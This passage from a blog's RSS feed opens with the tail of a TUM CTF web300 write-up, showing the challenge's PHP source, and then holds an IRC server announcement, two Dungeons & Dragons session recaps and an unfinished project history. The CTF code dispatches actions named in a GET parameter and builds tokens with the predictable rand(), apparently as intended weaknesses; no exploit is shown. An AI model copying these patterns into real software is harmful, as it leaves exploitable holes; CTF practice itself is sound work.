        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$pieces&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;explode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'='&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;nv&quot;&gt;$pieces&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$pieces&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;generateRandomString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$characters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$charactersLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$characters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$randomString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$randomString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$characters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$charactersLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)];&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$randomString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;nv&quot;&gt;$wc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;web_control&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//höhö...
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'do'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])){&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'do'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;dump&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$wc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'do'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
</description>
        <pubDate>Sun, 02 Oct 2016 18:00:00 +0000</pubDate>
        <link>http://blog.pdgn.co/ctf/2016/10/02/tumctf-web300-writeup.html</link>
        <guid isPermaLink="true">http://blog.pdgn.co/ctf/2016/10/02/tumctf-web300-writeup.html</guid>
        
        
        <category>ctf</category>
        
      </item>
    
      <item>
        <title>Announcement: New European Server</title>
        <description>&lt;p&gt;It is my pleasure to announce that a new server has been added to the PdgnCo network, Turtur.
Turtur is located in a data center in Frankfurt, Germany, and represents the first European server
in the network. As with other servers, the address uses the name as a subdomain. You can connect
directly at &lt;a href=&quot;ircs://turtur.pdgn.co:6697&quot;&gt;turtur.pdgn.co&lt;/a&gt; or via Hyperboria at
&lt;a href=&quot;ircs://h.turtur.pdgn.co:6697&quot;&gt;h.turtur.pdgn.co&lt;/a&gt;. The server is named for the Turtur genus of
pigeons, containing five species of doves native to Sub-Saharan Africa. They’re rather cute! Here
is a picture of an emerald-spotted wood dove, a member of the Turtur genus.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/5/5b/Turtur_chalcospilos_-Hluhluwe-Umfolozi_Game_Reserve%2C_South_Africa-8.jpg&quot; alt=&quot;An emerald-spotted wood dove.&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 11 Jun 2016 00:05:15 +0000</pubDate>
        <link>http://blog.pdgn.co/general/2016/06/11/pdgn-new-server.html</link>
        <guid isPermaLink="true">http://blog.pdgn.co/general/2016/06/11/pdgn-new-server.html</guid>
        
        
        <category>general</category>
        
      </item>
    
      <item>
        <title>Pdgn plays D&amp;D: Magical Cauldron vs. The World</title>
        <description>&lt;p&gt;Previously on Pdgn plays D&amp;amp;D:
&lt;a href=&quot;http://blog.pdgn.co/general/2015/06/25/pdgn-plays-dnd-1.html&quot;&gt;Jackal Dating Sim&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Characters: John “Battle Boar” Ionescu (cSmith), Raz (ubuntor), Dingus Magee (assface), Vanswaxle
Fearless Pants (JacobEdelman), Lucifirius (Lucifirius), and Ez-Ra (The_Master)&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;With the jackalweres from our previous session dealt with, our party loots them of their scimitars,
some rations, and one pair of pants. They then continue on their way to Aki’ba. Two days pass and
the party arrives in the trading post between Karri and Aki’ba. Somewhat tired from their journey,
they find themselves heading to a tavern once more to relax a bit. In the mean time, Vanswaxle
decides to purchase fine venison from a far-off land for several gold pieces. The merchant
explains that the venison was imported from a forest kingdom to the far-north of which he has very
little knowledge. He continues explaining that the venison was kept fresh by magic and that it
travelled through a great number of caravans before arriving there. Also simultaneously, Lucifirus
leaves the group in the tavern to search for more information about the local political climate. He
determines that the best way to go about this is to seek out the commanding officer of the Aki’ba
military in charge of the trading post. When he approaches his tent in the military camp grounds,
guards block his way. However, with his great charm, he’s able to convince the guards to let him
past as he has urgent news for the officer.&lt;/p&gt;

&lt;p&gt;Once inside the tent, Lucifirius is met with a fairly gregarious man who introduces himself as Col.
Keenu, the officer in charge of the trading post. Lucifirius explains that he is working with a
trade caravan, and is seeking advice to ensure the caravan’s safety. Col. Keenu advises him to stay
to the east of the trading post. He explains that the military presence is much stronger near
Aki’ba and the Enku River, and that this is the best bet to stay safe. Curious, Lucifirius asks if
there have been any issues with bandits, and Keenu explains that there have been recent issues with
the Mehrabya expanding beyond their borders and attacking Aki’ba caravans and military scouting
parties. Lucifirius thanks Keenu for the help, and begins to leave. Before he goes, Keenu tells him
that if he runs into any trouble with the military, just let them know that Col. Keenu said he was
okay. Then, Lucifirius leaves and returns to the party in the tavern. Soon after, our party heads
off to Aki’ba to finish their grain delivery.&lt;/p&gt;

&lt;p&gt;On the third night of their four night journey, during Raz’s watch, an invisible creature attacks.
The creature sneaks up on Raz in the night, and quickly causes serious injuries. As a result of the
sudden pain, Raz screams and awakens most of the party (except for the two warlocks, Vanswaxle and
Lucifirius). Reacting to the likely danger, Ez-Ra decides to use his Mage Hand to awaken the two
warlocks. With the whole party awake, they then struggle to find the creature that attacked Raz.
Thinking quickly, Raz throws some sand in the air that hits the creature and reveals its location.
The group then unleashes a swarth of magical attacks on the enemy. During this, the monster
brutally assaults Dingus, once again resulting in serious injuries. Then, in an attempt to light it
on fire, Vanswaxle pours a vial of alchemist’s fire in an area, but ultimately misses, lighting the
ground on fire. Without thinking, Ez-Ra casts Web on the area which immediately catches fire and
harms Dingus, Vanswaxle, and the monster. Fortunately, Battle Boar is on the scene and uses prayer
of healing to keep the party alive. He uses his battle pigs to flank the invisible target, helping
to mark its location for the rest of the group. After a rain of further magical attacks, the
monster is eventually defeated. Once killed, a column of twirling air appears in its place,
floating up into the sky, and ultimately dissipating. In its place, the party finds
one-hundred-and-twenty gold pieces and a small note. Vanswaxle quickly picks up the note, and reads
it to the party. The note is addressed to one Lord Calmigari from a Aki’ba resident named Dr. Frank
D. Weiner. Dr. Weiner writes that the attached sum of gold is to be given to the Lord in exchange
for his silence about a recent blunder in Karri by spies from the Aki’ba government. After his
reading of the note, Ez-Ra feels suspicious of Jacob and demands to see the note, but upon reading
it, it appears to say exactly that. Putting any suspicion aside, the party heads to Aki’ba to
finally complete their delivery.&lt;/p&gt;

&lt;p&gt;Upon their arrival into the city, Dingus sets off in search of cacti and the rest of the party goes
to the market district to attempt to sell their grain. However, they get immediately distracted
when Ez-Ra decides to investigate the local offerings of free samples. He finds a slew of free food
samples, and one sample for an unusual magical beverage. The party takes interest in this magical
beverage. Ez-Ra asks the old, bearded salesman what it is, and he explains that he’s unsure as
nobody has been willing to drink it. Bravely, Ez-Ra takes a sample and drinks it down. Suddenly, he
is able to jump considerably higher. Disinterested, Lucifirius runs off in search of Dingus,
ultimately concerned for his safety. Suspicious of his intentions, Ez-Ra trails Lucifirius until he
finds Dingus. Afterward, The two head to a local tavern, and Ez-Ra meets them there. Meanwhile,
Vanswaxle and Raz continued to be enthralled with the magical elixir at the stand. They take many
samples, and discover that despite this, the cauldron does not deplete. They then head to the
tavern in search of the rest of the group.  In the tavern, Ez-Ra decides to pour a vial of the
magical beverage onto the cactus. It absorbs the liquid, and a void of darkness forms in a
twenty-foot radius around the cactus. Still holding it, Dingus tosses the cactus across the room at
the door. The sheer cold from the void causes the door to begin to crack and then to shatter. The
group decides to keep the entire cauldron and goes to the stand to try to purchase it from the
merchant. Vanswaxle makes an offensive offer of three copper pieces, and the merchant tells him to
go away. However, the group bands together and threatens him causing him to run away screaming in
fear. They then seize the cauldron and return to the tavern. Still enthralled by the magical
liquid, Dingus throws a bottle at a chair. After a few seconds, the chair contorts and letters in
Common begin to appear carved within it. The text details a biography of Dr. Frank D. Weiner
explaining that he’s a doctor from Mehrabya who’s working with the rebels in Aki’ba. As part of his
work with the rebels, he’s operating as a double agent within the Aki’ba government. Soon after
realizing this, Raz and Ez-Ra notice two men in military uniforms looking around. Afraid that the
military is after them, they quickly exit the tavern when Raz and Ez-Ra then notice a wizard in
military uniform approaching.&lt;/p&gt;

&lt;p&gt;Ez-Ra uses Detect Thoughts to peer into the mind of the wizard. He learns that his name is Craig,
and that he was sent to investigate some sort of magical disturbance in the marketplace. It also
appeared from his immediate thoughts that it wasn’t really made clear to him what was going on.
Ez-Ra also learned that Craig was very hungry (particularly, he was craving mutton) and that he
much preferred the idea of eating to investigating, but did not want to risk losing his job.
Curious about Craig, Ez-Ra decides to delve deeper into his mind. He discovers that Craig is
arranged to be married to a princess of Aki’ba, the third in line for the throne. However, he is
torn between the decision to marry the princess, or to marry his true love, a poor vagrant
currently holed up in an abandoned home. The conflict is driven by a hatred of his job and a need
for financial security, indicating that the smart course of action might be to marry the princess
and be able to stop working altogether. However, he doesn’t know that he’ll be happy, nor that he’d
be okay giving up on the woman he loves. Knowing that Craig will be aware that someone has detected
his thoughts, Ez-Ra uses suggestion to convince a passerby to bring Craig some mutton from the
tavern and to tell him to follow his heart. Craig takes the advice and heads into the tavern to eat
more mutton. Afterward, the party heads into the desert to further investigate the effects of this
volatile magical liquid.&lt;/p&gt;

&lt;p&gt;Outside of the city, the party attempts to pour the liquid on cactuses and sand to discern its
effects. The first attempt causes a cactus to begin jumping, and Ez-Ra decides to perform a magical
ritual to bond with the jumping cactus and to make it his familiar. The attempts continue resulting
in variations of the already witnessed effects of jumping, magic text about an individual, and a
bitterly cold void of darkness. After some testing, an additional effect reveals itself to be
sudden teleportation within a small area. As night draws closer and the party grows weary, they
return to the city and check into a hotel. At the hotel, Vanswaxle and Lucifirius reveal themselves
to be Mehrabya rebels working against the government of Aki’ba. They explain that their contacts in
the city have a vested interest in taking down the government, and that they’re willing to pay
handsomely if the party were to break into the palace and use the couldron to wreak havok or even
destroy it entirely. With some morally opposed to the evils of the authoritarian Aki’ba government
and others just interested in getting paid, the party decides to take on the task to assault the
palace. Vanswaxle then reaches out to his contacts in the hopes of finding blueprints for the
palace to aid in their assault. As the party’s weariness grows further, they decide to rest before
they begin their work in the morning.&lt;/p&gt;

&lt;p&gt;To be continued next session.&lt;/p&gt;
</description>
        <pubDate>Fri, 03 Jul 2015 01:44:51 +0000</pubDate>
        <link>http://blog.pdgn.co/general/2015/07/03/pdgn-plays-dnd-2.html</link>
        <guid isPermaLink="true">http://blog.pdgn.co/general/2015/07/03/pdgn-plays-dnd-2.html</guid>
        
        
        <category>general</category>
        
      </item>
    
      <item>
        <title>Pdgn plays D&amp;D: Jackal Dating Sim</title>
        <description>&lt;p&gt;As a quick introduction, we’re running a Dungeons and Dragons, 5th Edition campaign for Pdgn. After
each session, I’ll be writing a post summarizing our adventure thus far. Our party is large
(currently ten people), but we anticipate that subsets of the group will participate in various
sessions. So, hopefully, it won’t be too overwhelming. Each session, I’ll include a list of players
and characters present.&lt;/p&gt;

&lt;p&gt;Characters: John “Battle Boar” Ionescu (cSmith), Raz (ubuntor), Baern Lutgehr (Hyper), Vanswaxle
Fearless Pants (JacobEdelman), Lucifirius (Lucifirius), and Ez-Ra (The_Master)&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/8097711/WorldMap.png&quot; alt=&quot;Crude map&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Our adventure is set in the desert region of Hava. A once great kingdom, Hava was weakened long ago
by political turmoil, and, according to legend, a powerful beast from the Void. Modern day Hava is
divided into three kingdoms, ruled from their capitals: Aki’ba, Mehgraba, and Mehrabya. In the
center of the region, a powerful magical sandstorm rages, known only as the Void. Only one party
has ever ventured into the Void, and little is known about its origin or nature. In recent years,
the kingdom of Mehrabya has expanded its efforts to harnass the magical power of the Void. They’ve
started a small colony on its edge, but little is known about their intentions. The expansive
kingdom of Aki’ba has focused its efforts on resource acquisition, and trade. Its main trade
partner is the kingdom of Mehrabya, one rather devoid of access to mined resources, and in constant
competition with Mehgraba for its fisheries. In the southeast, there are two running mountain
ranges, the Elahu and the Addin. The kingdom of Aki’ba once held undisputed control over the
mountain pass, but a recent mining accident has blocked the pass. Although the kingdoms are vast,
their grasps are weak, and the villages, far off from the cities, are more interested in their own
survival than big city politics.&lt;/p&gt;

&lt;p&gt;The government of Aki’ba is a powerful, authoritarian caliphate. The caliph rules by divine right,
and his goals are well-known to be the reunification of Hava. They’re a traditionalistic culture,
and do not welcome magic in their capital. Meanwhile, Mehgraba operates a large representative
democracy with less clear motivations. Aki’ba and Mehgraba have been warring for centuries as a
result of Aki’ba’s desire for reunification. Mehrabya is organized autonomously. Each settlement in
the kingdom hosts biweekly meetings to determine major policy decisions, and a random member of the
community is selected to manage minor (or necessarily immediate) policy decisions during the
interim two weeks. Their stated goal is to use magic to enrich their own lives, and they’ve been
consistently playing both sides of the war to ensure their own autonomy. Although disparate in
ideology and culture in the modern age, the kingdoms are all linked by a rich shared cultural
tradition dating back to an ancient legend of the great united kingdom of Hava.&lt;/p&gt;

&lt;p&gt;As the legend has it, long ago, the entire region was unified under one sultanate known as Hava.
The sultan of this great kingdom was a powerful wizard known as Jafar the Great. Amidst his rule,
a powerful monster came from the Void, and sought to destroy the kingdom. In response to this
immenent threat, Jafar called forth his armies to defend the kingdom. For three long years, the
creature roamed the deserts, preying on innocent travellers and military scouting parties alike.
Occasionally, the creature would assault villages, and burn them to the ground. As the creature
destroyed villages, it continued to grow in size and power, and it became increasingly daring,
drawing ever nearer to the capital. In an attempt to determine how to destroy the creature slowly
but surely destroying the kingdom, Jafar assembled a party of powerful adventurers, and led them
into the Void in search of answers. In all of the region’s history, this is the only time that a
group has ever entered the heart of the Void. Several months passed, and they still had not
returned. As fear of their death grew, galvanic opportunists jumped at the opportunity to try to
seize the throne.&lt;/p&gt;

&lt;p&gt;This dispute threw the leaderless kingdom farther into a state of political
turmoil. Several months from when the dispute arose, Jafar and his party returned to Hava with
nothing but a mysterious magical orb. They didn’t know what it did or how to use it, but it was the
only thing they found before they grew too weary to continue. They had no time to explain however
because on the day of their return, the monster struck the capital. Even larger and more powerful
than before, the monster destroyed the capital with ease, even in spite of the party’s attempts to
defend it. Jafar managed narrowly to escape, but the rest of his party was killed in the battle.
Weak and alone, he then spent three weeks wandering the desert in search of insight into the magic
orb they discovered in the Void. He visited many spiritual tribes who knew nothing of this orb,
until one day, a great spirit came to him in a vision. The spirit taught him an ancient spell to
use the orb, but the spell came at a great cost – it could destroy anything in an area, but it also
meant destroy &lt;em&gt;everything&lt;/em&gt; in that area – including the caster. Wracked with guilt, Jafar
nevertheless felt it was his duty to save the kingdom and destroy the monster, and so, he sought it
out. They found one another one fateful day, not too far from the Void, and Jafar sacrificed
himself to destroy it. News spread quickly throughout the remains of the kingdom of the monster’s
defeat, and of Jafar’s sacrifice, but it was mostly too late. The monster had destroyed most of the
kingdom, and all that remained were three small villages near the Enku and Alela rivers. It was
these three small villages that grew into the kingdoms (and capitals) of modern Hava. Little is
known about the truth of this story, nor is much known about the united kingdom of Hava. Still,
this story is a shared knowledge for all the Havan people, and represents what little collective
unity they have left.&lt;/p&gt;

&lt;p&gt;Our adventure begins in the Mehrabya village of Karri where two warlocks, Lucifirius and Vanswaxle
have hired a rag-tag group of adventurers to help transport a large grain shipment originally from
the farms of Jaffa to the city of Aki’ba. Jaffa is known for its quality grain and bakeries, and
Jaffan grain is considered quite the luxury in much of Hava. They hope to fetch a pretty price for
the grain on the market. Having just arrived in town from the west, our party heads immediately to
the local tavern to satiate their great thirsts and to rest in preparation of further travels.
While at the tavern, a mischievous Ez-Ra plays a prank on Vanswaxle, casting a spell to make the
air sour. However, acknowledging his own tendency to misperceive, Vanswaxle ignores the taste. A
caring dwarf, Baern sees it upon himself to give a group hug to three lonesome men sitting at the
bar in the middle of the day. Meanwhile, tired of the bar’s quietness, Vanswaxle goes outside to
use magic to convince passerbys to join the party in tavern revelry. He’s successful in his
attempts, and a large crowd fills the tavern. The group drinks plenty of water for their health,
and, of course, Baern manages to get a bit tipsy from mead. Pressed for time on their delivery, the
group quickly scrounges together supplies to continue their travels and heads out east toward a
minor trading post.&lt;/p&gt;

&lt;p&gt;After travelling for a full day, the party decides to set up camp for nightfall. Vanswaxle is
placed first on watch for the night. During his watch, he swears to see a large, fast-moving beast
headed toward the camp, and he quickly awakens everyone using his telepathic speech. However, upon
further investigation, none of our party is able to see any such beast, and indeed, there wasn’t
one. Before noticing the lack of incoming enemies, Battle Boar springs to action and uses his
signal whistle to call two pigs to his side. Lonely, the pigs decide to hang around for the night.
Having pre-emptively employed magic to make himself invisible, Vanswaxle sees it fit to take
advantage of his invisibility and so he strips naked and runs around the camp. Unfortunately for
him, the desert nights in Hava are bitterly cold, and he begins to catch frostbite in his toes and
netherregions. Thankfully, Battle Boar is more than equipped to heal his wounds and prevent
further damage from the freezing cold. With that excursion passed, Raz is set on watch, and the
rest of our party heads back to sleep.&lt;/p&gt;

&lt;p&gt;A short while into his watch, Raz spots three small, four-legged creatures headed toward the camp.
Raz awakens the party, and Vanswaxle sends for his imp to scout out the incoming enemies.
Vanswaxle’s imp returns and informs the party that three liches are on the way causing the party to
ignore the enemies and argue about whether or not to engage the liches. Fortunately for our party,
the imp was tragically mistaken and the creature instead appeared to be jackals. Noticing this
fact, Battle Boar once again springs to action trying to charm the jackals into friendship, but is
ultimately unsuccessful. Nevertheless, with their powerful magic, our party is quickly able to deal
with one of the creatures, killing it almost instantly. At this point, the two remaining jackals
transform into humanoid jackal hybrids, and our party realizes that they are in fact jackalweres.
The jackalweres manage to deal some serious damage to our rogue, Raz, but once again, Battle Boar
comes to the rescue with his healing. With more magic, our party knocks a second jackalwere
unconscious. Then, feeling diplomatic and disinterested in combat, Vanswaxle telepathically offers
for the jackalwere to stand down, promising to have Battle Boar heal his unconscious companion.
With little choice, the jackalwere takes the deal, and stands down. Our party makes good on the
deal, and revitalizes the other jackalwere. Feeling wary of the jackalweres because of their
reputation as a species, our party tries to determine if they’re up to something. However, they
decide as a group that the jackalweres are likely trustworthy.&lt;/p&gt;

&lt;p&gt;Even still, Lucifirius and Vanswaxle are particularly touchy about the cargo in transit. So, they
decide to pretend to sleep and to keep watch over the jackalweres. Meanwhile, the rest of the party
heads back to bed. The weaker jackalwere then pulls some meat from his pants pocket and begins to
cook it. Noticing this, Vanswaxle disguises his voice and speaks telepathically to the jackalwere
asking if he can share some meat, and ultimately, trying to seduce him. Initially, his attempts to
seduce him fail, but with enough persistence, he gets through. The jackalwere leaves the camp,
shapeshifts into a human, and heads back to Karri to meet up with his telepathic seducer.
Distracted by this endeavour, Vanswaxle fails to notice the other jackalwere sneaking up on him,
and before he has the chance to react, the jackalwere attacks him lying down, critically injuring
him. While much of the party springs awake, Battle Boar remains asleep and is thus unable to offer
healing to the weakened Vanswaxle. Vanswaxle uses his magic to try to escape the jackalwere and
give his party members a chance to kill him, but the jackalwere is much faster. Ultimately, the
jackalwere is able to knock Vanswaxle unconscious before the skilled shot of Raz’s bow is able to
kill him. With one jackalwere gone and the other two dead, Ez-Ra uses his medical kit to stabilize
Vanswaxle, and the party is able to collect itself once more.&lt;/p&gt;

&lt;p&gt;Next time on Pdgn plays D&amp;amp;D:
&lt;a href=&quot;http://blog.pdgn.co/general/2015/07/03/pdgn-plays-dnd-2.html&quot;&gt;Magical Cauldron vs. The World&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 25 Jun 2015 23:39:40 +0000</pubDate>
        <link>http://blog.pdgn.co/general/2015/06/25/pdgn-plays-dnd-1.html</link>
        <guid isPermaLink="true">http://blog.pdgn.co/general/2015/06/25/pdgn-plays-dnd-1.html</guid>
        
        
        <category>general</category>
        
      </item>
    
      <item>
        <title>A Brief History of Pdgn</title>
        <description>&lt;p&gt;The idea for Pdgn first came in June of 2014. For reasons that I can’t recall, I was drawn to
searching for a domain. I didn’t really have a purpose for it. I was just poking around to see if
anything cool was available. I stumbled upon the domain &lt;code class=&quot;highlighter-rouge&quot;&gt;pdgn.co&lt;/code&gt;, and I thought it was concise,
oddly charming, and easily pronouncable (as the English word, pigeon). As I said, I didn’t have a
purpose, and so, I didn’t purchase the domain. I did, however, keep it in my mind.&lt;/p&gt;

&lt;p&gt;Around this time, my productivity levels had plummetted immensely. I had begun to loathe working in
Java, and my constant attempts to take on incredibly large projects were going nowhere. I’d been
trying to learn Haskell on-and-off for roughly a year, and I’d fallen completely in love with
functional programming as a paradigm. In another IRC network that I call home
(&lt;a href=&quot;http://www.fyrechat.net&quot;&gt;FyreChat&lt;/a&gt;), I’d also been exposed to Rust. I didn’t really think of
myself as capable of programming in a systems language, but I liked that Rust had many of the nice
idioms that I had come to appreciate from my struggles with Haskell. So, I wanted to jump ship from
Java, and I was looking at both Rust and Haskell. However, I didn’t have any ideas of reasonable
things to work on once I did. That changed in July.&lt;/p&gt;

&lt;p&gt;In July of that year, as the next step in a big push to distance myself from Google, I had decided
that I wanted to run a small, privacy-first email service and that I wanted to write all the
software myself. I had some experience with IRC as a protocol, and I figured that the email
protocols couldn’t be that much worse. So, I bought the domain. I tried to make the decision of
whether I wanted to write it in Rust or Haskell. Rust would be hard because I was scared of the
idea of having to manage memory myself, and Haskell would be hard because I was still struggling to
understand how to work with state and the real world. Ultimately, at the urging of some friends, I 
decided that I would write the service in Rust. I also decided that I may as well combine it with a
privacy-first chat service as well. My goal was to incorporate the best privacy practices available
for existing protocols, and thus I wasn’t going to invent a new chat client or a new email protocol
and so on.&lt;/p&gt;

&lt;p&gt;Still, even with an idea, my motivation was pretty low. I looked at the task of learning a new
language as an impossibly high barrier, and much like previous projects, I worried that it was too
large of a task for me to finish. Having already assured some of my friends that it would happen, I
continually put off the idea and then put it off again. By the time summer ended, I had made no
progress at all on my goal, and had made no effort to learn Rust. My friend 
